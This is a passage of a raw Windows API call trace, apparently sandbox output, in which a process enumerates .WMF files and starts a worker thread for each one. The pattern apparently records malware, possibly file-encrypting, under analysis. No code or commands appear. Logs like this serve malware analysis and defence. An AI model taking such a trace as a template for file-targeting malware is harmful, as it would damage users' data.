	[0247.410] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1
	[0247.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0247.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e14
	[0247.414] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.414] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1
	[0247.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0247.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e18
	[0247.417] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.418] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1
	[0247.418] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2770000
	[0247.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e1c
	[0247.825] VirtualFree (lpAddress=0x2770000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.142] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1
	[0248.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dfc
	[0248.155] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.156] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1
	[0248.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df8
	[0248.158] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1
	[0248.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e24
	[0248.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.163] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1
	[0248.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e28
	[0248.167] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.168] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1
	[0248.168] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e2c
	[0248.170] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.171] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1
	[0248.171] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e30
	[0248.174] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.175] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1
	[0248.175] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e34
	[0248.177] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.178] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1
	[0248.178] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e38
	[0248.183] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.183] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1
	[0248.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e3c
	[0248.603] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.613] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1
	[0248.613] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e40
	[0248.616] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.617] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1
	[0248.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e44
	[0248.620] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.621] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1
	[0248.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e48
	[0248.624] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.625] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1
	[0248.625] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4c
	[0248.628] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.629] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1
	[0248.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e50
	[0248.631] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.632] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1
	[0248.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e54
	[0248.635] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.636] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1
	[0248.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e58
	[0248.638] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.639] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1
	[0248.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e5c
	[0248.641] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.642] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1
	[0248.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e60
	[0248.644] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.645] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1
	[0248.645] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e64
	[0249.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.156] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1
	[0249.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e68
	[0249.158] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1
	[0249.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e6c
	[0249.161] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.161] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1
	[0249.162] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e70
	[0249.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.166] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1
	[0249.166] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e74
	[0249.169] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.170] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1
	[0249.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e78
	[0249.172] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
